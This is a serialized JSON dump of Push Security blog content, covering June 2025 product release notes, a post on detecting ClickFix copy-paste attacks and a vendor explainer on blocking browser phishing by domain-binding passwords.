console.",{"data":117499,"content":117503,"nodeType":925},{"target":117500},{"sys":117501},{"id":117502,"type":922,"linkType":923},"755nABuK9KGdHHwWNqDtmS",[],{"data":117505,"content":117506,"nodeType":866},{},[117507,117510,117517],{"data":117508,"marks":117509,"value":21,"nodeType":865},{},[],{"data":117511,"content":117513,"nodeType":882},{"uri":117512},"https://pushsecurity.redoc.ly/webhooks-v1",[117514],{"data":117515,"marks":117516,"value":16192,"nodeType":865},{},[],{"data":117518,"marks":117519,"value":21,"nodeType":865},{},[],{"data":117521,"content":117522,"nodeType":963},{},[117523],{"data":117524,"marks":117525,"value":117231,"nodeType":865},{},[],{"data":117527,"content":117528,"nodeType":866},{},[117529,117533,117538,117542,117547,117550,117554],{"data":117530,"marks":117531,"value":117532,"nodeType":865},{},[],"We’re continuing to ",{"data":117534,"marks":117535,"value":117537,"nodeType":865},{},[117536],{"type":961},"add configuration rule capabilities to security controls",{"data":117539,"marks":117540,"value":117541,"nodeType":865},{},[]," in the Push platform, including for ",{"data":117543,"marks":117544,"value":117546,"nodeType":865},{},[117545],{"type":961},"phishing tool detection",{"data":117548,"marks":117549,"value":8756,"nodeType":865},{},[],{"data":117551,"marks":117552,"value":80191,"nodeType":865},{},[117553],{"type":961},{"data":117555,"marks":117556,"value":10349,"nodeType":865},{},[],{"data":117558,"content":117559,"nodeType":866},{},[117560,117564,117568],{"data":117561,"marks":117562,"value":117563,"nodeType":865},{},[],"With these config rules, you can scope a control to specific employees or employee groups, and carve out exemptions if you like. You can also set the control to apply to specific apps, or set the ",{"data":117565,"marks":117566,"value":90853,"nodeType":865},{},[117567],{"type":961},{"data":117569,"marks":117570,"value":117571,"nodeType":865},{},[]," (e.g. Monitor, Warn, or Block), where applicable.",{"data":117573,"content":117577,"nodeType":925},{"target":117574},{"sys":117575},{"id":117576,"type":922,"linkType":923},"2eKYcSet4tkd6UEffzdaaa",[],{"data":117579,"content":117580,"nodeType":866},{},[117581,117584,117591],{"data":117582,"marks":117583,"value":21,"nodeType":865},{},[],{"data":117585,"content":117587,"nodeType":882},{"uri":117586},"/help/10121/#how-to-create-a-configuration-rule",[117588],{"data":117589,"marks":117590,"value":16192,"nodeType":865},{},[],{"data":117592,"marks":117593,"value":21,"nodeType":865},{},[],{"data":117595,"content":117596,"nodeType":963},{},[117597],{"data":117598,"marks":117599,"value":117241,"nodeType":865},{},[],{"data":117601,"content":117602,"nodeType":866},{},[117603,117607,117611],{"data":117604,"marks":117605,"value":117606,"nodeType":865},{},[],"Push now offers a Microsoft Sentinel integration to make it easier to send Push data to your Sentinel SIEM. You can start setting up your integration by going to ",{"data":117608,"marks":117609,"value":117122,"nodeType":865},{},[117610],{"type":961},{"data":117612,"marks":117613,"value":117614,"nodeType":865},{},[]," in the Push admin console and selecting the Sentinel tile.",{"data":117616,"content":117620,"nodeType":925},{"target":117617},{"sys":117618},{"id":117619,"type":922,"linkType":923},"5l5TIPvbOoNgauV7gUj7fy",[],{"data":117622,"content":117623,"nodeType":866},{},[117624],{"data":117625,"marks":117626,"value":21,"nodeType":865},{},[],"Product release: June 2025","Here’s what’s new on the Push platform for June 2025.","2025-06-09T00:00:00.000Z","product-release-june-2025",{"items":117632},[117633],{"sys":117634,"name":91874},{"id":91873},{"items":117636},[117637],{"fullName":90607,"firstName":90608,"jobTitle":90609,"profilePicture":117638},{"url":90611},"blog/product-release-november-2025",{"json":117641},{"data":117642,"content":117643,"nodeType":1739},{},[117644],{"data":117645,"content":117646,"nodeType":866},{},[117647],{"data":117648,"marks":117649,"value":117650,"nodeType":865},{},[],"Browser extension visibility, ClickFix detection, RBAC and more.",{"id":91163,"publishedAt":117652},"2026-08-13T09:34:58.995Z",{"items":117654},[117655],{"sys":117656,"name":91874},{"id":91873},{"items":117658},[117659,117661,117663,117665],{"sys":117660,"name":297,"slug":298,"tier":31},{"id":294},{"sys":117662,"name":288,"slug":289,"tier":45},{"id":285},{"sys":117664,"name":315,"slug":316,"tier":45},{"id":312},{"sys":117666,"name":598,"slug":599,"tier":45},{"id":595},"4b_JWlgpJmPkxAfNXEHJpjVo5NMVhKC04Re6Yh_q2RA",{"id":117669,"title":91117,"authorsCollection":117670,"content":117675,"extension":228,"faqItemsCollection":118263,"faqTitle":59,"featured":6,"hashTags":59,"meta":118265,"metaTitle":118266,"ogImage":59,"postType":103815,"publishedDate":95042,"relatedBlogPostsCollection":118267,"slug":91118,"stem":119756,"subtitle":119757,"summary":119758,"synopsis":95041,"sys":119769,"tagsCollection":119771,"topicsCollection":119777,"__hash__":119807},"blog/blog/introducing-malicious-copy-paste-detection.json",{"items":117671},[117672],{"fullName":11430,"firstName":11431,"jobTitle":11432,"socialLinks":117673,"profilePicture":117674},[17536],{"url":11434},{"json":117676,"links":118210},{"data":117677,"content":117678,"nodeType":1739},{},[117679,117715,117761,117774,117779,117785,117788,117795,117801,117807,117813,117829,117835,117840,117855,117860,117863,117870,117876,117883,117899,117905,117911,117917,117924,117930,117936,117941,117947,117977,117982,117989,118005,118011,118032,118038,118044,118049,118055,118058,118065,118078,118094,118100,118106,118112,118117,118124,118139,118142,118149,118155,118161,118167,118173,118199,118204],{"data":117680,"content":117681,"nodeType":866},{},[117682,117685,117692,117695,117702,117705,117712],{"data":117683,"marks":117684,"value":94433,"nodeType":865},{},[],{"data":117686,"content":117687,"nodeType":882},{"uri":94436},[117688],{"data":117689,"marks":117690,"value":315,"nodeType":865},{},[117691],{"type":997},{"data":117693,"marks":117694,"value":94445,"nodeType":865},{},[],{"data":117696,"content":117697,"nodeType":882},{"uri":94448},[117698],{"data":117699,"marks":117700,"value":94454,"nodeType":865},{},[117701],{"type":997},{"data":117703,"marks":117704,"value":94458,"nodeType":865},{},[],{"data":117706,"content":117707,"nodeType":882},{"uri":94461},[117708],{"data":117709,"marks":117710,"value":94467,"nodeType":865},{},[117711],{"type":997},{"data":117713,"marks":117714,"value":94471,"nodeType":865},{},[],{"data":117716,"content":117717,"nodeType":866},{},[117718,117721,117728,117731,117738,117741,117748,117751,117758],{"data":117719,"marks":117720,"value":94478,"nodeType":865},{},[],{"data":117722,"content":117723,"nodeType":882},{"uri":94481},[117724],{"data":117725,"marks":117726,"value":94487,"nodeType":865},{},[117727],{"type":997},{"data":117729,"marks":117730,"value":2186,"nodeType":865},{},[],{"data":117732,"content":117733,"nodeType":882},{"uri":94493},[117734],{"data":117735,"marks":117736,"value":94499,"nodeType":865},{},[117737],{"type":997},{"data":117739,"marks":117740,"value":2186,"nodeType":865},{},[],{"data":117742,"content":117743,"nodeType":882},{"uri":94505},[117744],{"data":117745,"marks":117746,"value":94511,"nodeType":865},{},[117747],{"type":997},{"data":117749,"marks":117750,"value":94515,"nodeType":865},{},[],{"data":117752,"content":117753,"nodeType":882},{"uri":94518},[117754],{"data":117755,"marks":117756,"value":94524,"nodeType":865},{},[117757],{"type":997},{"data":117759,"marks":117760,"value":94528,"nodeType":865},{},[],{"data":117762,"content":117763,"nodeType":866},{},[117764,117767,117771],{"data":117765,"marks":117766,"value":94535,"nodeType":865},{},[],{"data":117768,"marks":117769,"value":94315,"nodeType":865},{},[117770],{"type":961},{"data":117772,"marks":117773,"value":94543,"nodeType":865},{},[],{"data":117775,"content":117778,"nodeType":925},{"target":117776},{"sys":117777},{"id":94338,"type":922,"linkType":923},[],{"data":117780,"content":117781,"nodeType":866},{},[117782],{"data":117783,"marks":117784,"value":94555,"nodeType":865},{},[],{"data":117786,"content":117787,"nodeType":953},{},[],{"data":117789,"content":117790,"nodeType":963},{},[117791],{"data":117792,"marks":117793,"value":94566,"nodeType":865},{},[117794],{"type":961},{"data":117796,"content":117797,"nodeType":866},{},[117798],{"data":117799,"marks":117800,"value":94573,"nodeType":865},{},[],{"data":117802,"content":117803,"nodeType":866},{},[117804],{"data":117805,"marks":117806,"value":94580,"nodeType":865},{},[],{"data":117808,"content":117809,"nodeType":866},{},[117810],{"data":117811,"marks":117812,"value":94587,"nodeType":865},{},[],{"data":117814,"content":117815,"nodeType":866},{},[117816,117819,117826],{"data":117817,"marks":117818,"value":94594,"nodeType":865},{},[],{"data":117820,"content":117821,"nodeType":882},{"uri":94597},[117822],{"data":117823,"marks":117824,"value":94603,"nodeType":865},{},[117825],{"type":997},{"data":117827,"marks":117828,"value":94607,"nodeType":865},{},[],{"data":117830,"content":117831,"nodeType":866},{},[117832],{"data":117833,"marks":117834,"value":94614,"nodeType":865},{},[],{"data":117836,"content":117839,"nodeType":925},{"target":117837},{"sys":117838},{"id":94619,"type":922,"linkType":923},[],{"data":117841,"content":117842,"nodeType":866},{},[117843,117846,117852],{"data":117844,"marks":117845,"value":94627,"nodeType":865},{},[],{"data":117847,"content":117848,"nodeType":882},{"uri":94092},[117849],{"data":117850,"marks":117851,"value":94634,"nodeType":865},{},[],{"data":117853,"marks":117854,"value":94638,"nodeType":865},{},[],{"data":117856,"content":117859,"nodeType":925},{"target":117857},{"sys":117858},{"id":94643,"type":922,"linkType":923},[],{"data":117861,"content":117862,"nodeType":953},{},[],{"data":117864,"content":117865,"nodeType":963},{},[117866],{"data":117867,"marks":117868,"value":94655,"nodeType":865},{},[117869],{"type":961},{"data":117871,"content":117872,"nodeType":866},{},[117873],{"data":117874,"marks":117875,"value":94662,"nodeType":865},{},[],{"data":117877,"content":117878,"nodeType":1458},{},[117879],{"data":117880,"marks":117881,"value":94670,"nodeType":865},{},[117882],{"type":961},{"data":117884,"content":117885,"nodeType":866},{},[117886,117889,117896],{"data":117887,"marks":117888,"value":94677,"nodeType":865},{},[],{"data":117890,"content":117891,"nodeType":882},{"uri":8821},[117892],{"data":117893,"marks":117894,"value":94685,"nodeType":865},{},[117895],{"type":997},{"data":117897,"marks":117898,"value":94689,"nodeType":865},{},[],{"data":117900,"content":117901,"nodeType":866},{},[117902],{"data":117903,"marks":117904,"value":94696,"nodeType":865},{},[],{"data":117906,"content":117907,"nodeType":866},{},[117908],{"data":117909,"marks":117910,"value":94703,"nodeType":865},{},[],{"data":117912,"content":117913,"nodeType":866},{},[117914],{"data":117915,"marks":117916,"value":94710,"nodeType":865},{},[],{"data":117918,"content":117919,"nodeType":1458},{},[117920],{"data":117921,"marks":117922,"value":94718,"nodeType":865},{},[117923],{"type":961},{"data":117925,"content":117926,"nodeType":866},{},[117927],{"data":117928,"marks":117929,"value":94725,"nodeType":865},{},[],{"data":117931,"content":117932,"nodeType":866},{},[117933],{"data":117934,"marks":117935,"value":94732,"nodeType":865},{},[],{"data":117937,"content":117940,"nodeType":925},{"target":117938},{"sys":117939},{"id":94737,"type":922,"linkType":923},[],{"data":117942,"content":117943,"nodeType":866},{},[117944],{"data":117945,"marks":117946,"value":94745,"nodeType":865},{},[],{"data":117948,"content":117949,"nodeType":1049},{},[117950,117959,117968],{"data":117951,"content":117952,"nodeType":1003},{},[117953],{"data":117954,"content":117955,"nodeType":866},{},[117956],{"data":117957,"marks":117958,"value":94758,"nodeType":865},{},[],{"data":117960,"content":117961,"nodeType":1003},{},[117962],{"data":117963,"content":117964,"nodeType":866},{},[117965],{"data":117966,"marks":117967,"value":94768,"nodeType":865},{},[],{"data":117969,"content":117970,"nodeType":1003},{},[117971],{"data":117972,"content":117973,"nodeType":866},{},[117974],{"data":117975,"marks":117976,"value":94778,"nodeType":865},{},[],{"data":117978,"content":117981,"nodeType":925},{"target":117979},{"sys":117980},{"id":94783,"type":922,"linkType":923},[],{"data":117983,"content":117984,"nodeType":1458},{},[117985],{"data":117986,"marks":117987,"value":94792,"nodeType":865},{},[117988],{"type":961},{"data":117990,"content":117991,"nodeType":866},{},[117992,117995,118002],{"data":117993,"marks":117994,"value":94799,"nodeType":865},{},[],{"data":117996,"content":117997,"nodeType":882},{"uri":94436},[117998],{"data":117999,"marks":118000,"value":94807,"nodeType":865},{},[118001],{"type":997},{"data":118003,"marks":118004,"value":94811,"nodeType":865},{},[],{"data":118006,"content":118007,"nodeType":866},{},[118008],{"data":118009,"marks":118010,"value":94818,"nodeType":865},{},[],{"data":118012,"content":118013,"nodeType":1049},{},[118014,118023],{"data":118015,"content":118016,"nodeType":1003},{},[118017],{"data":118018,"content":118019,"nodeType":866},{},[118020],{"data":118021,"marks":118022,"value":94831,"nodeType":865},{},[],{"data":118024,"content":118025,"nodeType":1003},{},[118026],{"data":118027,"content":118028,"nodeType":866},{},[118029],{"data":118030,"marks":118031,"value":94841,"nodeType":865},{},[],{"data":118033,"content":118034,"nodeType":866},{},[118035],{"data":118036,"marks":118037,"value":94848,"nodeType":865},{},[],{"data":118039,"content":118040,"nodeType":866},{},[118041],{"data":118042,"marks":118043,"value":94855,"nodeType":865},{},[],{"data":118045,"content":118048,"nodeType":925},{"target":118046},{"sys":118047},{"id":94860,"type":922,"linkType":923},[],{"data":118050,"content":118051,"nodeType":866},{},[118052],{"data":118053,"marks":118054,"value":94868,"nodeType":865},{},[],{"data":118056,"content":118057,"nodeType":953},{},[],{"data":118059,"content":118060,"nodeType":963},{},[118061],{"data":118062,"marks":118063,"value":94879,"nodeType":865},{},[118064],{"type":961},{"data":118066,"content":118067,"nodeType":866},{},[118068,118071,118075],{"data":118069,"marks":118070,"value":94535,"nodeType":865},{},[],{"data":118072,"marks":118073,"value":94315,"nodeType":865},{},[118074],{"type":961},{"data":118076,"marks":118077,"value":94893,"nodeType":865},{},[],{"data":118079,"content":118080,"nodeType":866},{},[118081,118084,118091],{"data":118082,"marks":118083,"value":94900,"nodeType":865},{},[],{"data":118085,"content":118086,"nodeType":882},{"uri":87327},[118087],{"data":118088,"marks":118089,"value":94908,"nodeType":865},{},[118090],{"type":997},{"data":118092,"marks":118093,"value":94912,"nodeType":865},{},[],{"data":118095,"content":118096,"nodeType":866},{},[118097],{"data":118098,"marks":118099,"value":94919,"nodeType":865},{},[],{"data":118101,"content":118102,"nodeType":866},{},[118103],{"data":118104,"marks":118105,"value":94926,"nodeType":865},{},[],{"data":118107,"content":118108,"nodeType":866},{},[118109],{"data":118110,"marks":118111,"value":94933,"nodeType":865},{},[],{"data":118113,"content":118116,"nodeType":925},{"target":118114},{"sys":118115},{"id":94338,"type":922,"linkType":923},[],{"data":118118,"content":118119,"nodeType":1458},{},[118120],{"data":118121,"marks":118122,"value":94946,"nodeType":865},{},[118123],{"type":961},{"data":118125,"content":118126,"nodeType":866},{},[118127,118130,118136],{"data":118128,"marks":118129,"value":94953,"nodeType":865},{},[],{"data":118131,"content":118132,"nodeType":882},{"uri":94956},[118133],{"data":118134,"marks":118135,"value":94961,"nodeType":865},{},[],{"data":118137,"marks":118138,"value":94965,"nodeType":865},{},[],{"data":118140,"content":118141,"nodeType":953},{},[],{"data":118143,"content":118144,"nodeType":963},{},[118145],{"data":118146,"marks":118147,"value":1704,"nodeType":865},{},[118148],{"type":961},{"data":118150,"content":118151,"nodeType":866},{},[118152],{"data":118153,"marks":118154,"value":94982,"nodeType":865},{},[],{"data":118156,"content":118157,"nodeType":866},{},[118158],{"data":118159,"marks":118160,"value":94989,"nodeType":865},{},[],{"data":118162,"content":118163,"nodeType":866},{},[118164],{"data":118165,"marks":118166,"value":94996,"nodeType":865},{},[],{"data":118168,"content":118169,"nodeType":866},{},[118170],{"data":118171,"marks":118172,"value":95003,"nodeType":865},{},[],{"data":118174,"content":118175,"nodeType":866},{},[118176,118179,118186,118189,118196],{"data":118177,"marks":118178,"value":32401,"nodeType":865},{},[],{"data":118180,"content":118181,"nodeType":882},{"uri":22700},[118182],{"data":118183,"marks":118184,"value":22706,"nodeType":865},{},[118185],{"type":997},{"data":118187,"marks":118188,"value":71034,"nodeType":865},{},[],{"data":118190,"content":118191,"nodeType":882},{"uri":1728},[118192],{"data":118193,"marks":118194,"value":22730,"nodeType":865},{},[118195],{"type":997},{"data":118197,"marks":118198,"value":1048,"nodeType":865},{},[],{"data":118200,"content":118203,"nodeType":925},{"target":118201},{"sys":118202},{"id":94783,"type":922,"linkType":923},[],{"data":118205,"content":118206,"nodeType":866},{},[118207],{"data":118208,"marks":118209,"value":21,"nodeType":865},{},[],{"entries":118211},{"hyperlink":118212,"inline":118213,"block":118214},[],[],[118215,118217,118221,118227,118253,118257],{"sys":118216,"__typename":12453,"title":103782,"arcadeDemoUrl":103783,"playText":12456},{"id":94338},{"sys":118218,"__typename":1747,"title":118219,"caption":118219,"layoutMode":59,"file":118220},{"id":94619},"Phishing delivery channels have significantly expanded from the days of email-based phishing attacks",{"url":114060,"width":114061,"height":114062},{"sys":118222,"__typename":1747,"title":118223,"caption":118223,"layoutMode":59,"file":118224},{"id":94643},"Examples of ClickFix lures used by attackers in the wild.",{"url":118225,"width":1759,"height":118226},"https://images.ctfassets.net/y1cdw1ablpvd/7AH10e5YpESPdIBIH4YjHO/e7d5553657b6b0f20d6ed563d69af1e4/image3.png",1955,{"sys":118228,"__typename":9270,"content":118229,"name":118252,"title":59},{"id":94737},{"json":118230},{"nodeType":1739,"data":118231,"content":118232},{},[118233],{"nodeType":866,"data":118234,"content":118235},{},[118236,118240,118249],{"nodeType":865,"value":118237,"marks":118238,"data":118239},"Attacks on BYOD or personal devices are increasingly leading to corporate breaches where email accounts are being used to sign into corporate browser profiles. This results in corporate credentials inadvertently saved and synced across devices being exposed in the breach (the most well-known example of this being in ",[],{},{"nodeType":882,"data":118241,"content":118243},{"uri":118242},"https://sec.okta.com/articles/2023/11/unauthorized-access-oktas-support-case-management-system-root-cause/?utm_source=chatgpt.com",[118244],{"nodeType":865,"value":118245,"marks":118246,"data":118248},"Okta’s 2023 support case management system breach",[118247],{"type":997},{},{"nodeType":865,"value":112005,"marks":118250,"data":118251},[],{},"clickfix insight box 1",{"sys":118254,"__typename":5631,"type":5632,"ctaText":118255,"buttonLabel":88203,"buttonColour":118256,"buttonUrl":70450},{"id":94783},"Register for our webinar to learn more about the latest developments in ClickFix attacks and why they're so effective.","sea blue",{"sys":118258,"__typename":1747,"title":118259,"caption":118259,"layoutMode":59,"file":118260},{"id":94860},"ClickFix builder screenshots. Source: Microsoft",{"url":118261,"width":1759,"height":118262},"https://images.ctfassets.net/y1cdw1ablpvd/2adTEIfv1YmEkXzzKA5UFC/47fd4025b72923dd0a1a16eb736e8980/image2.png",540,{"items":118264},[],{},"Detect ClickFix-style attacks in the browser",{"items":118268},[118269,118601,119257],{"__typename":1788,"sys":118270,"content":118272,"title":118587,"synopsis":118588,"hashTags":59,"publishedDate":118589,"slug":118590,"tagsCollection":118591,"authorsCollection":118597},{"id":118271},"4bYO5rVy9n2OO3vtMVQeda",{"json":118273},{"data":118274,"content":118275,"nodeType":1739},{},[118276,118283,118301,118317,118324,118331,118334,118341,118348,118401,118408,118414,118417,118424,118431,118438,118445,118452,118469,118475,118482,118489,118505,118511,118518,118525,118532,118539,118546,118549,118556,118575,118581],{"data":118277,"content":118278,"nodeType":963},{},[118279],{"data":118280,"marks":118281,"value":118282,"nodeType":865},{},[],"All phishing eventually leads to the browser",{"data":118284,"content":118285,"nodeType":866},{},[118286,118290,118298],{"data":118287,"marks":118288,"value":118289,"nodeType":865},{},[],"The best attack detection methods are those that focus on ",{"data":118291,"content":118292,"nodeType":882},{"uri":8556},[118293],{"data":118294,"marks":118295,"value":118297,"nodeType":865},{},[118296],{"type":997},"detecting indicators that are difficult for attackers to change or obfuscate",{"data":118299,"marks":118300,"value":22525,"nodeType":865},{},[],{"data":118302,"content":118303,"nodeType":866},{},[118304,118308,118313],{"data":118305,"marks":118306,"value":118307,"nodeType":865},{},[],"For a credential phishing attack to succeed, the victim ",{"data":118309,"marks":118310,"value":118312,"nodeType":865},{},[118311],{"type":997},"has",{"data":118314,"marks":118315,"value":118316,"nodeType":865},{},[]," to enter their password into a webpage. There’s no two-ways about it, attackers cannot change this. ",{"data":118318,"content":118319,"nodeType":866},{},[118320],{"data":118321,"marks":118322,"value":118323,"nodeType":865},{},[],"So it stands to reason that, if you can detect this user behavior, and block them from entering their password, then you can stop phishing. ",{"data":118325,"content":118326,"nodeType":866},{},[118327],{"data":118328,"marks":118329,"value":118330,"nodeType":865},{},[],"This is exactly what Push does.",{"data":118332,"content":118333,"nodeType":953},{},[],{"data":118335,"content":118336,"nodeType":1458},{},[118337],{"data":118338,"marks":118339,"value":118340,"nodeType":865},{},[],"Most anti-phishing tools are easily bypassed",{"data":118342,"content":118343,"nodeType":866},{},[118344],{"data":118345,"marks":118346,"value":118347,"nodeType":865},{},[],"Other anti-phishing tools rely on detecting elements of the attack that attackers can change and hide, such as domains or the webpage contents. Attackers use tricks to evade these detection, like:",{"data":118349,"content":118350,"nodeType":1049},{},[118351,118361,118371,118381,118391],{"data":118352,"content":118353,"nodeType":1003},{},[118354],{"data":118355,"content":118356,"nodeType":866},{},[118357],{"data":118358,"marks":118359,"value":118360,"nodeType":865},{},[],"Using Cloudflare Workers to block automatic analysis of their phishing site",{"data":118362,"content":118363,"nodeType":1003},{},[118364],{"data":118365,"content":118366,"nodeType":866},{},[118367],{"data":118368,"marks":118369,"value":118370,"nodeType":865},{},[],"Hacking a Wordpress blog to get a reputable domain that passes domain checks ",{"data":118372,"content":118373,"nodeType":1003},{},[118374],{"data":118375,"content":118376,"nodeType":866},{},[118377],{"data":118378,"marks":118379,"value":118380,"nodeType":865},{},[],"Using redirects and rotating the URLs delivered to the victim to bypass link analysis",{"data":118382,"content":118383,"nodeType":1003},{},[118384],{"data":118385,"content":118386,"nodeType":866},{},[118387],{"data":118388,"marks":118389,"value":118390,"nodeType":865},{},[],"Randomizing the HTML title for the web page to bypass blocklists ",{"data":118392,"content":118393,"nodeType":1003},{},[118394],{"data":118395,"content":118396,"nodeType":866},{},[118397],{"data":118398,"marks":118399,"value":118400,"nodeType":865},{},[],"One-time phishing links that only work the first time they are clicked",{"data":118402,"content":118403,"nodeType":866},{},[118404],{"data":118405,"marks":118406,"value":118407,"nodeType":865},{},[],"Push is putting an end to this game of cat and mouse, by keeping it really simple; you can’t phish someone who can’t put their password into a phishing page. ",{"data":118409,"content":118413,"nodeType":925},{"target":118410},{"sys":118411},{"id":118412,"type":922,"linkType":923},"6AwOZSpqaChmeksnj4SyWE",[],{"data":118415,"content":118416,"nodeType":953},{},[],{"data":118418,"content":118419,"nodeType":1458},{},[118420],{"data":118421,"marks":118422,"value":118423,"nodeType":865},{},[],"Domain-binding passwords",{"data":118425,"content":118426,"nodeType":866},{},[118427],{"data":118428,"marks":118429,"value":118430,"nodeType":865},{},[],"If you’re familiar with how passkeys are domain-bound, then think of what Push does as domain-binding passwords. We pin the password to its legitimate domain(s) and then don’t allow it to be entered into any webpage on any other domain. ",{"data":118432,"content":118433,"nodeType":866},{},[118434],{"data":118435,"marks":118436,"value":118437,"nodeType":865},{},[],"But just because you’ve stopped your users from being phished doesn’t mean you don’t want to know when attackers are attempting to phish your users and how. ",{"data":118439,"content":118440,"nodeType":866},{},[118441],{"data":118442,"marks":118443,"value":118444,"nodeType":865},{},[],"Push still inspects webpages to see if attackers are rendering cloned app login pages in the browser or if known AitM and BitM toolkits are being used. This way you don’t lose visibility of the unsuccessful attacks that are targeting your users. Think of it as a handy second and third layer of defense.",{"data":118446,"content":118447,"nodeType":866},{},[118448],{"data":118449,"marks":118450,"value":118451,"nodeType":865},{},[],"Lets run through a quick before and after example:",{"data":118453,"content":118454,"nodeType":1458},{},[118455,118459,118465],{"data":118456,"marks":118457,"value":118458,"nodeType":865},{},[],"Scenario 1: An attacker attempts to phish an employee that ",{"data":118460,"marks":118461,"value":118464,"nodeType":865},{},[118462,118463],{"type":997},{"type":961},"doesn’t",{"data":118466,"marks":118467,"value":118468,"nodeType":865},{},[]," have Push deployed to their browser.",{"data":118470,"content":118474,"nodeType":925},{"target":118471},{"sys":118472},{"id":118473,"type":922,"linkType":923},"2CbGMUSJsP1mNeHkmpLl6N",[],{"data":118476,"content":118477,"nodeType":866},{},[118478],{"data":118479,"marks":118480,"value":118481,"nodeType":865},{},[],"Here, an attacker hacks a Wordpress blog to get a reputable domain and then runs a phishing toolkit on the webpage. They email one of your employees a link to it. Your SWG / email scanning solution inspects it in a sandbox but the phish kit detects this and redirects to a benign site so that it passes the inspection. ",{"data":118483,"content":118484,"nodeType":866},{},[118485],{"data":118486,"marks":118487,"value":118488,"nodeType":865},{},[],"Your user gets the email with the link and is now free to interact with the phishing page. They enter their credentials plus MFA code into the page and voila! The attacker steals them and is able to compromise the user’s account.  ",{"data":118490,"content":118491,"nodeType":1458},{},[118492,118496,118501],{"data":118493,"marks":118494,"value":118495,"nodeType":865},{},[],"Scenario 2: An attacker attempts to phish an employee that ",{"data":118497,"marks":118498,"value":1178,"nodeType":865},{},[118499,118500],{"type":997},{"type":961},{"data":118502,"marks":118503,"value":118504,"nodeType":865},{},[]," have Push deployed to their browser. ",{"data":118506,"content":118510,"nodeType":925},{"target":118507},{"sys":118508},{"id":118509,"type":922,"linkType":923},"77smnID1woCfFJrJPyTvKY",[],{"data":118512,"content":118513,"nodeType":866},{},[118514],{"data":118515,"marks":118516,"value":118517,"nodeType":865},{},[],"This time, the attacker uses the same phishing toolkit and domain from the first example. But in reality, they don’t have to send it to your employee using email, instead, they could use LinkedIn messenger, Slack, Teams, or any application that allows employees to communicate with each other. ",{"data":118519,"content":118520,"nodeType":866},{},[118521],{"data":118522,"marks":118523,"value":118524,"nodeType":865},{},[],"Like before, the user receives the link, opens it and starts to enter their credentials into the webpage. This time though, the Push browser extension inspects the webpage running in the user's browser. Push observes that the webpage is a login page and the user is entering their password into the page.",{"data":118526,"content":118527,"nodeType":866},{},[118528],{"data":118529,"marks":118530,"value":118531,"nodeType":865},{},[],"The first detection Push makes is checking that the password the user is entering matches the domain that password is pinned to. Since it doesn't match, based on this detection alone the user is automatically redirected to a blocking page. An important point to make here is that the password never leaves the user’s browser and the check is made using a shortened salted hash of the password.   ",{"data":118533,"content":118534,"nodeType":866},{},[118535],{"data":118536,"marks":118537,"value":118538,"nodeType":865},{},[],"The second detection Push makes is that the rendered web app is using a cloned app login page. The third detection is that a phishing toolkit is running in the web app code. ",{"data":118540,"content":118541,"nodeType":866},{},[118542],{"data":118543,"marks":118544,"value":118545,"nodeType":865},{},[],"In this particular scenario these second and third detections serve as useful context for understanding the nature of the phishing attack. But both will still redirect to a blocking page if they are triggered in isolation of the other phishing detections. ",{"data":118547,"content":118548,"nodeType":953},{},[],{"data":118550,"content":118551,"nodeType":963},{},[118552],{"data":118553,"marks":118554,"value":118555,"nodeType":865},{},[],"We don’t just stop phishing attacks",{"data":118557,"content":118558,"nodeType":866},{},[118559,118563,118571],{"data":118560,"marks":118561,"value":118562,"nodeType":865},{},[],"We also detect other identity-related attack techniques used to compromise user accounts. That includes credential stuffing, password spraying and session hijacking using stolen session tokens. If you want to learn more about how Push helps you to detect and defeat common identity attack techniques, ",{"data":118564,"content":118565,"nodeType":882},{"uri":13728},[118566],{"data":118567,"marks":118568,"value":118570,"nodeType":865},{},[118569],{"type":997},"book some time with one of our team",{"data":118572,"marks":118573,"value":118574,"nodeType":865},{},[],".  ",{"data":118576,"content":118580,"nodeType":925},{"target":118577},{"sys":118578},{"id":118579,"type":922,"linkType":923},"2JSmYDaiAciOx7Z1MRuJlA",[],{"data":118582,"content":118583,"nodeType":866},{},[118584],{"data":118585,"marks":118586,"value":21,"nodeType":865},{},[],"Detecting and blocking phishing attacks in the browser","How Push detects and blocks phishing attempts in the browser – explained in less than two minutes. ","2024-10-23T00:00:00.000Z","detecting-and-blocking-phishing-attacks-in-the-browser",{"items":118592},[118593,118595],{"sys":118594,"name":11426},{"id":11425},{"sys":118596,"name":342},{"id":8410},{"items":118598},[118599],{"fullName":5029,"firstName":5030,"jobTitle":3776,"profilePicture":118600},{"url":5032},{"__typename":1788,"sys":118602,"content":118603,"title":103714,"synopsis":119245,"hashTags":59,"publishedDate":119246,"slug":103715,"tagsCollection":119247,"authorsCollection":119253},{"id":99350},{"json":118604},{"data":118605,"content":118606,"nodeType":1739},{},[118607,118613,118616,118623,118646,118677,118687,118705,118712,118718,118725,118740,118747,118750,118757,118764,118783,118790,118836,118843,118849,118855,118862,118895,118909,118912,118919,118926,118933,118940,118947,118954,118961,119068,119074,119089,119096,119111,119144,119159,119166,119181,119187,119194,119201,119207,119214,119220,119227],{"data":118608,"content":118612,"nodeType":925},{"target":118609},{"sys":118610},{"id":118611,"type":922,"linkType":923},"1hUpsNwuhEXwSPijvRflTq",[],{"data":118614,"content":118615,"nodeType":953},{},[],{"data":118617,"content":118618,"nodeType":866},{},[118619],{"data":118620,"marks":118621,"value":118622,"nodeType":865},{},[],"There are two things every security operations engineer can agree on:",{"data":118624,"content":118625,"nodeType":1049},{},[118626,118636],{"data":118627,"content":118628,"nodeType":1003},{},[118629],{"data":118630,"content":118631,"nodeType":866},{},[118632],{"data":118633,"marks":118634,"value":118635,"nodeType":865},{},[],"Get MFA on every account on every app.",{"data":118637,"content":118638,"nodeType":1003},{},[118639],{"data":118640,"content":118641,"nodeType":866},{},[118642],{"data":118643,"marks":118644,"value":118645,"nodeType":865},{},[],"This is stupidly harder to achieve than it seems.",{"data":118647,"content":118648,"nodeType":866},{},[118649,118653,118661,118665,118673],{"data":118650,"marks":118651,"value":118652,"nodeType":865},{},[],"The penalties for failing to solve this hard simple problem are abundantly clear. Stolen credentials accounted for roughly half of the initial access methods observed this year across 30,000+ attacks, according to Verizon’s 2024 ",{"data":118654,"content":118655,"nodeType":882},{"uri":3240},[118656],{"data":118657,"marks":118658,"value":118660,"nodeType":865},{},[118659],{"type":997},"Data Breach Investigations Report",{"data":118662,"marks":118663,"value":118664,"nodeType":865},{},[],". And ",{"data":118666,"content":118668,"nodeType":882},{"uri":118667},"https://pushsecurity.com/blog/2024-identity-breaches/",[118669],{"data":118670,"marks":118671,"value":118672,"nodeType":865},{},[],"in a review of 30 publicly disclosed breaches involving identity 